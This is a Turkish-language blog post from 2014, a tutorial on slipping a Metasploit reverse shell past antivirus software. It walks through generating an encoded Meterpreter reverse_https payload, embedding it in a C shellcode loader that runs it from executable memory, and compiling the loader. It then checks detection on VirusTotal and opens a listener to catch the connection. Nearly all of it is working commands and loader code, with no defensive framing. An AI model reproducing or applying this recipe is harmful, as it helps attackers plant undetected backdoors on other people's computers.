1 Mart 2014 Cumartesi

AV Bypass: Shellcode


AV Bypass: Shellcode

AV gibi sistemleri atlatmak için kullanılan yöntemlerden birisi de Kabuk Kodu (Shellcode) kullanmaktır. Shellcode, exploit sonrası çalışan, payload olarak kullanılan komut kümesidir. Assembly dili ile yazılmıştır. Bu komutlar çalıştıktan sonra, komutun işlevini göre olay gerçekleştirilir. Örneğin, hedef sistemin kabuğuna (shell) düşülür.

Shellcode ile AV atlatma işlemi için 3 adım gerçekleştirilecektir: Öncelikle Shellcode oluşturulacak, bu kod kullanılarak uygulama kodunu hazırlanacak, son olarak da uygulama derlenerek çalıştırılabilir dosya (exe) hazırlanacaktır.

1) Shellcode Hazırlama
Shellcode oluşturmak için kullanılabilecek en kolay yöntem Metasploit içerisindeki msfpayload ve msfencode modüllerini kullanmaktır. Bu modüller ile ilgili aytıntılı bilgi için bakınız.
Bu 2 modül aşağıdaki gibi Shellcode oluşturulabilir.
msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 R | msfencode -b  '\x00\xff' -e x86/shikata_ga_nai -c 3  -t c -o KabukKodu

Not: Senaryonun daha gerçekçi olması amacıyla 443'ten ters HTTPS bağlantısı gerçekleştirilmiştir.

Oluşturulan Shellcode, aşağıdaki gibi "unsigned char" tipinde bir dizi içermektedir:


2) Uygulama kodunu hazırlama
İşlemi gerçekleştirilecek kod hazırlanır. 32 bit mimaride çalışabilen kod C dili ile aşağıdaki kodlarla hazırlanarak *.c uzantılı bir dosyaya yazılabilir.
unsigned char buf[] = " "; // Shellcode yazılır
int main(){
void (*c0d3)();
c0d3 =(void(*)()) buf;
c0d3();            
}

64 bit mimarideki işletim sisteminde çalışması için gerekli koda ise aşağıdaki bağlantıdan erişilebilir.
https://github.com/inquisb/shellcodeexec/blob/master/windows/shellcodeexec/shellcodeexec.c
Ayrıca bakınız:
http://www.securitytube.net/video/6750

Not: Bu kod kullanılırken parametre kullanılmayacağı için "if (argc < 2)" bloğu tamamen veya bu bloğun içerisi yorum satırına alınabilir.

Bu uygulama kodu aşağıdaki gibidir:

Not: Kullanılan kodun son hali, yazının en sonuna eklenmiştir.

3) Uygulama kodunun derlenmesi
Son olarak da bu kod derlenecektir. Sanal makinemiz 64 bit olacağı için 64 bit için hazırlanan uygulama kodu derlenecektir. Ayrıca kodun derlenmesi için Visual Studio'nun "cl" aracı kullanılacaktır.

Öncelikle kod derleme işlemi, Visual Studio kurulum dizininde komut satırı çalıştırılmalıdır. Bunun için, Başlat kısmında Visul Studio Command Prompt, yönetici olarak çalıştırılmalıdır (Eğer uygulama kodu C dizini hariç bir dizinde çalıştırılacaksa yönetici olarak çalıştırmaya gerek yoktur.)

VS komut satırında cl aracı ile hazırlanan kodun (64bit_UygulamaKodu.c) derlenmesi ile uygulama (64bit_UygulamaKodu.exe) oluşmaktadır:


Uygulamanın Taranması
Hazırlanan uygulamanın VirusTotal ile analiz edildiğinde 3 AV tarafından yakalandığı tespit edilmiştir:

VirusTotal kullanımı ile ilgili ayrıntılı bilgi için bakınız.

Uygulamanın Çalıştırılması ve Bağlantının Sağlanması
İstemci tarafından uygulama çalıştırıldığında bağlantının sağlanması için bir dinleyici (listener) açılması gerekir. Bu işlem aşağıdaki gibidir:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set LHOST 192.168.2.48
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit -j

Uygulama çalıştırıldığında aşağıdaki gibi istemci ile bağlantı sağlanmaktadır.


Sonuç:
Shellcode, AV atlatmak için kullanılabilecek bir yöntemdir. Bazı durumlarda hiçbir AV tarafından yakalamamasına rağmen bazı durumlarda az sayıda da olsa AV tarafında tespit edilebilmektedir.


EK: 64 bit mimaride çalışan uygulama kodu

unsigned char buf[] =
""; // Shellcode eklenmelidir.

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#include <windows.h>
DWORD WINAPI exec_payload(LPVOID lpParameter);
#else
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#endif

int sys_bineval(char *argv);

int main(int argc, char *argv[])
{
if (argc < 2) {
// printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n");
// exit(-1);
}

sys_bineval(buf);

exit(0);
}

int sys_bineval(char *argv)
{
size_t len;

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif

len = (size_t)strlen(argv);

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// copy over the shellcode
strncpy(code, argv, len);

// execute it by ASM code defined in exec_payload function
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
return 1;

if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary

// mmap an +rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0);

if (addr == MAP_FAILED)
return 1;

// copy over the shellcode
strncpy((char *)addr, argv, len);

// execute it
((void (*)(void))addr)();
}

if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif

return 0;
}

#if defined(_WIN64)
void __exec_payload(LPVOID);

DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__exec_payload(lpParameter);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

return 0;
}
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

return 0;
}
#endif

Hiç yorum yok:

Yorum Gönder